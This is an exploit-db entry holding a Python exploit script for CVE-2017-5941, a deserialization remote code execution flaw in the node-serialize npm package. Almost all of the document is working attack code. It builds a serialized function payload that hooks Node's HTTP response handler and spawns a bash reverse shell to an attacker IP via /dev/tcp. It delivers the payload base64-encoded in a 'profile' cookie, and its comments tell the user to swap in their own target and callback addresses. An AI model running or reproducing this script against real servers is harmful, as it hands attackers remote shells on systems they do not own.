Node.JS – ‘node-serialize’ Remote Code Execution (2)

  • 作者: UndeadLarva
    日期: 2021-02-10
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/49552/
  • # Exploit Title: Node.JS - 'node-serialize' Remote Code Execution (2)
    # Exploit Author: UndeadLarva
    # Software Link: https://www.npmjs.com/package/node-serialize
    # Version: 0.0.4
    # CVE: CVE-2017-5941
    
    import requests
    import re
    import base64
    import sys
    
    url = 'http://192.168.100.133:8000/' # change this
    
    payload = ("require('http').ServerResponse.prototype.end = (function (end) {"
    "return function () {"
    "['close', 'connect', 'data', 'drain', 'end', 'error', 'lookup', 'timeout', ''].forEach(this.socket.removeAllListeners.bind(this.socket));"
    "console.log('still inside');"
    "const { exec } = require('child_process');"
    "exec('bash -i >& /dev/tcp/192.168.200.5/445 0>&1');" # change this
    "}"
    "})(require('http').ServerResponse.prototype.end)")
    
    # rce = "_$$ND_FUNC$$_process.exit(0)"
    # code ="_$$ND_FUNC$$_console.log('behind you')"
    code = "_$$ND_FUNC$$_" + payload
    
    string = '{"username":"TheUndead","country":"worldwide","city":"Tyr", "exec": "'+code+'"}'
    
    cookie = {'profile':base64.b64encode(string)}
    
    try:
    response = requests.get(url, cookies=cookie).text
    print response
    except requests.exceptions.RequestException as e:
    print('Oops!')
    sys.exit(1)